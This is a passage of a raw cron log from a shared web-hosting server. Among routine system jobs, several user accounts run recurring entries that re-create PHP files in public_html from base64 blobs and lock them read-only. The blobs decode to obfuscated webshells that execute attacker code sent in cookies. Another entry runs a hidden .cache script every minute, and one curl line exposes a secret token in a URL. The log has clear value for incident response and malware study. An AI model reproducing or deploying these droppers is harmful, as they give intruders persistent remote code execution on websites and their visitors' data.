iAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:38:01 medusa CROND[12592]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:39:01 medusa CROND[2628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:39:02 medusa CROND[2714]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:39:02 medusa CROND[2716]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:39:02 medusa CROND[2717]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:39:02 medusa CROND[2718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:39:02 medusa CROND[2720]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:39:02 medusa CROND[2722]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:39:02 medusa CROND[2723]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 16:39:02 medusa CROND[2733]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:39:02 medusa CROND[2734]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:39:02 medusa CROND[2736]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:39:02 medusa CROND[2737]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:39:02 medusa CROND[2739]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:39:02 medusa CROND[2740]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:40:01 medusa CROND[24042]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:40:01 medusa CROND[24047]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:40:01 medusa CROND[24082]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:40:01 medusa CROND[24152]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:40:01 medusa CROND[24153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 16:40:01 medusa CROND[24154]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 16:40:01 medusa CROND[24155]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:40:01 medusa CROND[24156]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 16:40:01 medusa CROND[24157]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:40:01 medusa CROND[24164]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 16:40:01 medusa CROND[24161]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:40:01 medusa CROND[24166]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:40:01 medusa CROND[24169]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:40:01 medusa CROND[24179]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:40:01 medusa CROND[24172]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:40:01 medusa CROND[24181]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:40:01 medusa CROND[24183]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 16:40:01 medusa CROND[24190]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:40:01 medusa CROND[24191]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:40:01 medusa CROND[24173]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:40:01 medusa CROND[24193]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:40:01 medusa CROND[24199]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:40:01 medusa CROND[24200]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
